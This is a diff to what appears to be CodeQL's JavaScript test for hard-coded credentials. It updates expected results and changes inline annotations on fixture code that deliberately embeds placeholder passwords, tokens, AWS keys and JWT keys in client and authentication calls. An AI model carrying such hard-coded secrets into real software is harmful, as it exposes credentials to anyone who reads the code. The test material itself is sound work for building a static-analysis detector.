-| HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:53:39:53:48 | 'hgfedcba' | password |
-| HardcodedCredentials.js:56:21:56:30 | 'username' | HardcodedCredentials.js:56:21:56:30 | 'username' | HardcodedCredentials.js:56:21:56:30 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:56:21:56:30 | 'username' | user name |
-| HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:57:21:57:30 | 'hgfedcba' | password |
-| HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | The hard-coded value "bearerToken" is used as $@. | HardcodedCredentials.js:61:42:61:54 | 'bearerToken' | token |
-| HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | The hard-coded value "bearerToken" is used as $@. | HardcodedCredentials.js:65:23:65:35 | 'bearerToken' | token |
-| HardcodedCredentials.js:69:28:69:37 | 'username' | HardcodedCredentials.js:69:28:69:37 | 'username' | HardcodedCredentials.js:69:28:69:37 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:69:28:69:37 | 'username' | user name |
-| HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:69:40:69:49 | 'hgfedcba' | password |
-| HardcodedCredentials.js:70:28:70:37 | 'username' | HardcodedCredentials.js:70:28:70:37 | 'username' | HardcodedCredentials.js:70:28:70:37 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:70:28:70:37 | 'username' | user name |
-| HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:70:40:70:49 | 'hgfedcba' | password |
-| HardcodedCredentials.js:72:23:72:32 | 'username' | HardcodedCredentials.js:72:23:72:32 | 'username' | HardcodedCredentials.js:72:23:72:32 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:72:23:72:32 | 'username' | user name |
-| HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:72:35:72:44 | 'hgfedcba' | password |
-| HardcodedCredentials.js:75:21:75:30 | 'username' | HardcodedCredentials.js:75:21:75:30 | 'username' | HardcodedCredentials.js:75:21:75:30 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:75:21:75:30 | 'username' | user name |
-| HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:76:21:76:30 | 'hgfedcba' | password |
-| HardcodedCredentials.js:84:38:84:47 | 'username' | HardcodedCredentials.js:84:38:84:47 | 'username' | HardcodedCredentials.js:84:38:84:47 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:84:38:84:47 | 'username' | user name |
-| HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:84:50:84:59 | 'hgfedcba' | password |
-| HardcodedCredentials.js:86:44:86:53 | 'username' | HardcodedCredentials.js:86:44:86:53 | 'username' | HardcodedCredentials.js:86:44:86:53 | 'username' | The hard-coded value "username" is used as $@. | HardcodedCredentials.js:86:44:86:53 | 'username' | user name |
-| HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:86:56:86:65 | 'hgfedcba' | password |
-| HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | The hard-coded value "TOKEN" is used as $@. | HardcodedCredentials.js:91:25:91:31 | 'TOKEN' | token |
-| HardcodedCredentials.js:98:18:98:21 | 'x1' | HardcodedCredentials.js:98:18:98:21 | 'x1' | HardcodedCredentials.js:98:18:98:21 | 'x1' | The hard-coded value "x1" is used as $@. | HardcodedCredentials.js:98:18:98:21 | 'x1' | user name |
-| HardcodedCredentials.js:99:16:99:19 | 'x2' | HardcodedCredentials.js:99:16:99:19 | 'x2' | HardcodedCredentials.js:99:16:99:19 | 'x2' | The hard-coded value "x2" is used as $@. | HardcodedCredentials.js:99:16:99:19 | 'x2' | user name |
-| HardcodedCredentials.js:100:25:100:28 | 'x3' | HardcodedCredentials.js:100:25:100:28 | 'x3' | HardcodedCredentials.js:100:25:100:28 | 'x3' | The hard-coded value "x3" is used as $@. | HardcodedCredentials.js:100:25:100:28 | 'x3' | user name |
-| HardcodedCredentials.js:101:19:101:22 | 'x4' | HardcodedCredentials.js:101:19:101:22 | 'x4' | HardcodedCredentials.js:101:19:101:22 | 'x4' | The hard-coded value "x4" is used as $@. | HardcodedCredentials.js:101:19:101:22 | 'x4' | user name |
-| HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:102:14:102:23 | 'hgfedcba' | password |
-| HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:103:17:103:26 | 'hgfedcba' | password |
-| HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:104:27:104:36 | 'hgfedcba' | password |
-| HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:105:19:105:28 | 'hgfedcba' | password |
-| HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:106:16:106:25 | 'hgfedcba' | token |
-| HardcodedCredentials.js:112:19:112:22 | 'x5' | HardcodedCredentials.js:112:19:112:22 | 'x5' | HardcodedCredentials.js:112:19:112:22 | 'x5' | The hard-coded value "x5" is used as $@. | HardcodedCredentials.js:112:19:112:22 | 'x5' | user name |
-| HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:113:19:113:28 | 'hgfedcba' | password |
-| HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:130:44:130:53 | 'hgfedcba' | key |
-| HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:131:52:131:61 | 'hgfedcba' | key |
-| HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | The hard-coded value "hgfedcba" is used as $@. | HardcodedCredentials.js:135:41:135:50 | "hgfedcba" | key |
-| HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | The hard-coded value "oiuneawrgiyubaegr" is used as $@. | HardcodedCredentials.js:160:38:160:56 | "oiuneawrgiyubaegr" | key |
-| HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | The hard-coded value "oiuneawrgiyubaegr" is used as $@. | HardcodedCredentials.js:161:41:161:59 | 'oiuneawrgiyubaegr' | key |
-| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:171:18:171:25 | 'sdsdag' | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:178:30:178:44 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:188:30:188:44 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:195:37:195:51 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:172:18:172:25 | 'sdsdag' | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:204:35:204:49 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:214:18:214:25 | 'sdsdag' | HardcodedCredentials.js:214:18:214:25 | 'sdsdag' | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:215:18:215:25 | 'sdsdag' | HardcodedCredentials.js:215:18:215:25 | 'sdsdag' | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:221:37:221:51 | `Basic ${AUTH}` | authorization header |
-| HardcodedCredentials.js:231:22:231:29 | 'sdsdag' | HardcodedCredentials.js:231:22:231:29 | 'sdsdag' | HardcodedCredentials.js:237:24:237:91 | 'Basic  ... ase64') | The hard-coded value "sdsdag" is used as $@. | HardcodedCredentials.js:237:24:237:91 | 'Basic  ... ase64') | authorization header |
-| HardcodedCredentials.js:245:22:245:44 | "myHard ... ateKey" | HardcodedCredentials.js:245:22:245:44 | "myHard ... ateKey" | HardcodedCredentials.js:246:42:246:51 | privateKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:246:42:246:51 | privateKey | jwt key |
-| HardcodedCredentials.js:248:21:248:42 | "myHard ... licKey" | HardcodedCredentials.js:248:21:248:42 | "myHard ... licKey" | HardcodedCredentials.js:249:23:249:31 | publicKey | The hard-coded value "myHardCodedPublicKey" is used as $@. | HardcodedCredentials.js:249:23:249:31 | publicKey | jwt key |
-| HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | The hard-coded value "Basic sdsdag:sdsdag" is used as $@. | HardcodedCredentials.js:292:37:292:57 | `Basic  ... sdsdag` | authorization header |
-| HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | The hard-coded value "Basic sdsdag:aaaiuogrweuibgbbbbb" is used as $@. | HardcodedCredentials.js:294:37:294:70 | `Basic  ... gbbbbb` | authorization header |
-| HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | The hard-coded value "iubfewiaaweiybgaeuybgera" is used as $@. | HardcodedCredentials.js:302:44:302:69 | 'iubfew ... ybgera' | key |
-| HardcodedCredentials.js:308:22:308:44 | "myHard ... ateKey" | HardcodedCredentials.js:308:22:308:44 | "myHard ... ateKey" | HardcodedCredentials.js:309:34:309:43 | privateKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:309:34:309:43 | privateKey | jwt key |
-| HardcodedCredentials.js:316:22:316:44 | "myHard ... ateKey" | HardcodedCredentials.js:316:22:316:44 | "myHard ... ateKey" | HardcodedCredentials.js:317:27:317:62 | new Tex ... ateKey) | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:317:27:317:62 | new Tex ... ateKey) | jwt key |
-| HardcodedCredentials.js:319:18:321:29 | `-----B ... Y-----` | HardcodedCredentials.js:319:18:321:29 | `-----B ... Y-----` | HardcodedCredentials.js:323:27:323:35 | publicKey | The hard-coded value "-----BEGIN PUBLIC KEY-----\n    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwhYOFK2Ocbbpb/zVypi9...\n    -----END PUBLIC KEY-----" is used as $@. | HardcodedCredentials.js:323:27:323:35 | publicKey | jwt key |
-| HardcodedCredentials.js:328:12:328:55 | 'whYOFK ... -6f...' | HardcodedCredentials.js:328:12:328:55 | 'whYOFK ... -6f...' | HardcodedCredentials.js:335:31:335:39 | publicKey | The hard-coded value "whYOFK2Ocbbpb_zVypi9SeKiNUqKQH0zTKN1-6f..." is used as $@. | HardcodedCredentials.js:335:31:335:39 | publicKey | jwt key |
-| HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:349:21:349:29 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:349:21:349:29 | secretKey | jwt key |
-| HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:344:21:344:43 | "myHard ... ateKey" | HardcodedCredentials.js:360:21:360:52 | Buffer. ... ase64") | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:360:21:360:52 | Buffer. ... ase64") | jwt key |
-| HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:378:24:378:32 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:378:24:378:32 | secretKey | jwt key |
-| HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:375:21:375:43 | "myHard ... ateKey" | HardcodedCredentials.js:385:31:385:39 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:385:31:385:39 | secretKey | jwt key |
-| HardcodedCredentials.js:396:21:396:43 | "myHard ... ateKey" | HardcodedCredentials.js:396:21:396:43 | "myHard ... ateKey" | HardcodedCredentials.js:399:17:399:25 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:399:17:399:25 | secretKey | jwt key |
-| HardcodedCredentials.js:414:21:414:43 | "myHard ... ateKey" | HardcodedCredentials.js:414:21:414:43 | "myHard ... ateKey" | HardcodedCredentials.js:416:27:416:35 | secretKey | The hard-coded value "myHardCodedPrivateKey" is used as $@. | HardcodedCredentials.js:416:27:416:35 | secretKey | jwt key |
-| __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | The hard-coded value "dbuser" is used as $@. | __tests__/HardcodedCredentialsDemo.js:5:15:5:22 | 'dbuser' | user name |
-| __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | The hard-coded value "hgfedcba" is used as $@. | __tests__/HardcodedCredentialsDemo.js:8:19:8:28 | 'hgfedcba' | password |
diff --git a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js
index b930efdc548f..9bd7b68bfbaf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js
+++ b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.js
@@ -2,78 +2,78 @@
     const pg = require('pg');
 
     const client = new pg.Client({
-        user: 'dbuser',  // NOT OK
+        user: 'dbuser',  // $ Alert
         host: 'database.server.com',
         database: 'mydb',
-        password: 'hgfedcba',  // NOT OK
+        password: 'hgfedcba',  // $ Alert
         port: 3211,
     });
     client.connect();
 })();
 
 (function() {
-    require("http").request({auth: "user:hgfedcba"});  // NOT OK
-    require("https").request({auth: "user:hgfedcba"}); // NOT OK
+    require("http").request({auth: "user:hgfedcba"});   // $ MISSING: Alert
+    require("https").request({auth: "user:hgfedcba"});  // $ MISSING: Alert
     function getCredentials() {
         return "user:hgfedcba";
     }
-    require("http").request({auth: getCredentials()}); // NOT OK
-    require("http").request({auth: getUnknownCredentials()}); // OK
+    require("http").request({auth: getCredentials()}); // $ MISSING: Alert
+    require("http").request({auth: getUnknownCredentials()});
 })();
 
 (function() {
     var basicAuth = require('express-basic-auth');
 
-    basicAuth({users: { 'admin': 'hgfedcba' }});  // NOT OK
+    basicAuth({users: { 'admin': 'hgfedcba' }});  // $ Alert
     var users = {};
-    users['unknown-admin-name'] = 'hgfedcba'; // NOT OK
+    users['unknown-admin-name'] = 'hgfedcba'; // $ Alert
     basicAuth({users: users});
 })();
 
 (function() {
     var basicAuth = require('basic-auth-connect');
-    basicAuth('username', 'hgfedcba'); // NOT OK
-    basicAuth(function(){}); // OK
+    basicAuth('username', 'hgfedcba'); // $ Alert
+    basicAuth(function(){});
 })();
 
 (function() {
     var AWS = require('aws-sdk');
-    AWS.config.update({ accessKeyId: 'username', secretAccessKey: 'hgfedcba'}); // NOT OK
-    new AWS.Config({ accessKeyId: 'username', secretAccessKey: 'hgfedcba'}); // NOT OK
+    AWS.config.update({ accessKeyId: 'username', secretAccessKey: 'hgfedcba'}); // $ Alert
+    new AWS.Config({ accessKeyId: 'username', secretAccessKey: 'hgfedcba'}); // $ Alert
     var config = new AWS.Config();
-    config.update({ accessKeyId: 'username', secretAccessKey: 'hgfedcba'}); // NOT OK
+    config.update({ accessKeyId: 'username', secretAccessKey: 'hgfedcba'}); // $ Alert
     var o = {};
-    o.secretAccessKey = 'hgfedcba'; // NOT OK
+    o.secretAccessKey = 'hgfedcba'; // $ Alert
     config.update(o);
 })();
 
 (function() {
     var request = require('request');
 
-    request.get(url).auth('username', 'hgfedcba'); // NOT OK
+    request.get(url).auth('username', 'hgfedcba'); // $ Alert
     request.get(url, {
         'auth': {
-            'user': 'username', // NOT OK
-            'pass': 'hgfedcba' // NOT OK
+            'user': 'username', // $ Alert
+            'pass': 'hgfedcba' // $ Alert
         }
     });
 
-    request.get(url).auth(null, null, _, 'bearerToken'); // NOT OK
+    request.get(url).auth(null, null, _, 'bearerToken'); // $ Alert
 
     request.get(url, {
         'auth': {
-            'bearer': 'bearerToken' // NOT OK
+            'bearer': 'bearerToken' // $ Alert
         }
     });
 
-    request.post(url).auth('username', 'hgfedcba'); // NOT OK
-    request.head(url).auth('username', 'hgfedcba'); // NOT OK
+    request.post(url).auth('username', 'hgfedcba'); // $ Alert
+    request.head(url).auth('username', 'hgfedcba'); // $ Alert
 
-    request(url).auth('username', 'hgfedcba'); // NOT OK
+    request(url).auth('username', 'hgfedcba'); // $ Alert
     request(url, {
         'auth': {
-            'user': 'username', // NOT OK
-            'pass': 'hgfedcba' // NOT OK
+            'user': 'username', // $ Alert
+            'pass': 'hgfedcba' // $ Alert
         }
     });
 })();
@@ -81,63 +81,63 @@
 (function() {
     const MsRest = require('ms-rest-azure');
 
-    MsRest.loginWithUsernamePassword('username', 'hgfedcba', function(){}); // NOT OK
-    MsRest.loginWithUsernamePassword(process.env.AZURE_USER, process.env.AZURE_PASS, function(){}); // OK
-    MsRest.loginWithServicePrincipalSecret('username', 'hgfedcba', function(){}); // NOT OK
+    MsRest.loginWithUsernamePassword('username', 'hgfedcba', function(){}); // $ Alert
+    MsRest.loginWithUsernamePassword(process.env.AZURE_USER, process.env.AZURE_PASS, function(){});
+    MsRest.loginWithServicePrincipalSecret('username', 'hgfedcba', function(){}); // $ Alert
 })();
 
 (function() {
     var digitalocean = require('digitalocean');
-    digitalocean.client('TOKEN'); // NOT OK
-    digitalocean.client(process.env.DIGITAL_OCEAN_TOKEN); // OK
+    digitalocean.client('TOKEN'); // $ Alert
+    digitalocean.client(process.env.DIGITAL_OCEAN_TOKEN);
 })();
 
 (function() {
     var pkgcloud = require('pkgcloud');
     pkgcloud.compute.createClient({
-        account: 'x1', // NOT OK
-        keyId: 'x2',// NOT OK
-        storageAccount: 'x3', // NOT OK
-        username: 'x4', // NOT OK
-        key: 'hgfedcba', // NOT OK
-        apiKey: 'hgfedcba', // NOT OK
-        storageAccessKey: 'hgfedcba', // NOT OK
-        password: 'hgfedcba', // NOT OK
-        token: 'hgfedcba' // NOT OK
+        account: 'x1', // $ Alert
+        keyId: 'x2',// $ Alert
+        storageAccount: 'x3', // $ Alert
+        username: 'x4', // $ Alert
+        key: 'hgfedcba', // $ Alert
+        apiKey: 'hgfedcba', // $ Alert
+        storageAccessKey: 'hgfedcba', // $ Alert
+        password: 'hgfedcba', // $ Alert
+        token: 'hgfedcba' // $ Alert
     });
-    pkgcloud.compute.createClient({ // OK
+    pkgcloud.compute.createClient({
         INNOCENT_DATA: '42'
     });
     pkgcloud.providers.SOME_PROVIDER.compute.createClient({
-        username: 'x5', // NOT OK
-        password: 'hgfedcba' // NOT OK
+        username: 'x5', // $ Alert
+        password: 'hgfedcba' // $ Alert
     });
-    pkgcloud.UNKNOWN_SERVICE.createClient({  // OK
+    pkgcloud.UNKNOWN_SERVICE.createClient({
         username: 'x6',
         password: 'hgfedcba'
     });
     pkgcloud.providers.SOME_PROVIDER.UNKNOWN_SERVICE.createClient({
-        username: 'x7', // OK
-        password: 'hgfedcba' // OK
+        username: 'x7',
+        password: 'hgfedcba'
     });
-    pkgcloud.compute.createClient({ // OK
+    pkgcloud.compute.createClient({
         username: process.env.USERNAME,
         password: process.env.PASSWORD
     });
 })();
 
 (function(){
-    require('crypto').createHmac('sha256', 'hgfedcba');
-    require("crypto-js/aes").encrypt('my message', 'hgfedcba');
+    require('crypto').createHmac('sha256', 'hgfedcba'); // $ Alert
+    require("crypto-js/aes").encrypt('my message', 'hgfedcba'); // $ Alert
 })()
 
 (function(){
-    require("cookie-session")({ secret: "hgfedcba" });
+    require("cookie-session")({ secret: "hgfedcba" }); // $ Alert
 })()
 
 (function(){
     var request = require('request');
-    request.get(url, { // OK
+    request.get(url, {
         'auth': {
             'user': '',
             'pass': process.env.PASSWORD
@@ -148,7 +148,7 @@
 (function(){
     var request = require('request');
     let pass = getPassword() || '';
-    request.get(url, { // OK
+    request.get(url, {
         'auth': {
             'user': process.env.USER || '',
             'pass': pass,
@@ -157,25 +157,25 @@
 })();
 
 (function(){
-	require("cookie-session")({ secret: "oiuneawrgiyubaegr" }); // NOT OK
-	require('crypto').createHmac('sha256', 'oiuneawrgiyubaegr'); // NOT OK
+	require("cookie-session")({ secret: "oiuneawrgiyubaegr" }); // $ Alert
+	require('crypto').createHmac('sha256', 'oiuneawrgiyubaegr'); // $ Alert
 
 	var basicAuth = require('express-basic-auth');
-	basicAuth({users: { [adminName]: 'change_me' }});  // OK
+	basicAuth({users: { [adminName]: 'change_me' }});
 })();
 
 (async function () {
     const base64 = require('base-64');
     const fetch = require("node-fetch");
 
-    const USER = 'sdsdag';
-    const PASS = 'sdsdag';
+    const USER = 'sdsdag'; // $ Alert
+    const PASS = 'sdsdag'; // $ Alert
     const AUTH = base64.encode(`${USER}:${PASS}`);
 
     const rsp = await fetch(ENDPOINT, {
         method: 'get',
         headers: new fetch.Headers({
-            "Authorization": `Basic ${AUTH}`,
+            "Authorization": `Basic ${AUTH}`, // $ Sink
             "Content-Type": 'application/json'
         })
     });
@@ -185,14 +185,14 @@
         body: JSON.stringify(body),
         headers: {
             "Content-Type": 'application/json',
-            "Authorization": `Basic ${AUTH}`
+            "Authorization": `Basic ${AUTH}` // $ Sink
         },
     })
 
     var headers = new fetch.Headers({
         "Content-Type": 'application/json'
     });
-    headers.append("Authorization", `Basic ${AUTH}`)
+    headers.append("Authorization", `Basic ${AUTH}`) // $ Sink
     fetch(ENDPOINT, {
         method: 'get',
         headers: headers
@@ -201,7 +201,7 @@
     var headers2 = new fetch.Headers({
         "Content-Type": 'application/json'
     });
-    headers2.set("Authorization", `Basic ${AUTH}`)
+    headers2.set("Authorization", `Basic ${AUTH}`) // $ Sink
     fetch(ENDPOINT, {
         method: 'get',
         headers: headers2
@@ -211,14 +211,14 @@
 (function () {
     const base64 = require('base-64');
 
-    const USER = 'sdsdag';
-    const PASS = 'sdsdag';
+    const USER = 'sdsdag'; // $ Alert
+    const PASS = 'sdsdag'; // $ Alert
     const AUTH = base64.encode(`${USER}:${PASS}`);
 
     // browser API
     var headers = new Headers();
     headers.append("Content-Type", 'application/json');
-    headers.append("Authorization", `Basic ${AUTH}`);
+    headers.append("Authorization", `Basic ${AUTH}`); // $ Sink
     fetch(ENDPOINT, {
         method: 'get',
         headers: headers
@@ -228,13 +228,13 @@
 (async function () {
     import fetch from 'node-fetch';
 
-    const username = 'sdsdag';
+    const username = 'sdsdag'; // $ Alert
     const password = config.get('some_actually_secrect_password');
     const response = await fetch(ENDPOINT, {
       method: 'get',
       headers: {
         'Content-Type': 'application/json',
-        Authorization: 'Basic ' + Buffer.from(username + ':' + password).toString('base64'),
+        Authorization: 'Basic ' + Buffer.from(username + ':' + password).toString('base64'), // $ Sink
       },
     });
 })
@@ -242,11 +242,11 @@
 (function () {
     import jwt from "jsonwebtoken";
 
-    var privateKey = "myHardCodedPrivateKey";
-    var token = jwt.sign({ foo: 'bar' }, privateKey, { algorithm: 'RS256'});
+    var privateKey = "myHardCodedPrivateKey"; // $ Alert
+    var token = jwt.sign({ foo: 'bar' }, privateKey, { algorithm: 'RS256'}); // $ Sink
 
-    var publicKey = "myHardCodedPublicKey";
-    jwt.verify(token, publicKey, function(err, decoded) {
+    var publicKey = "myHardCodedPublicKey"; // $ Alert
+    jwt.verify(token, publicKey, function(err, decoded) { // $ Sink
         console.log(decoded);
     });
 })();
@@ -272,67 +272,67 @@
 });
 
 (function() {
-    require("http").request({auth: "user:{{ INSERT_HERE }}"}); // OK
-    require("http").request({auth: "user:token {{ INSERT_HERE }}"}); // OK
-    require("http").request({auth: "user:( INSERT_HERE )"}); // OK
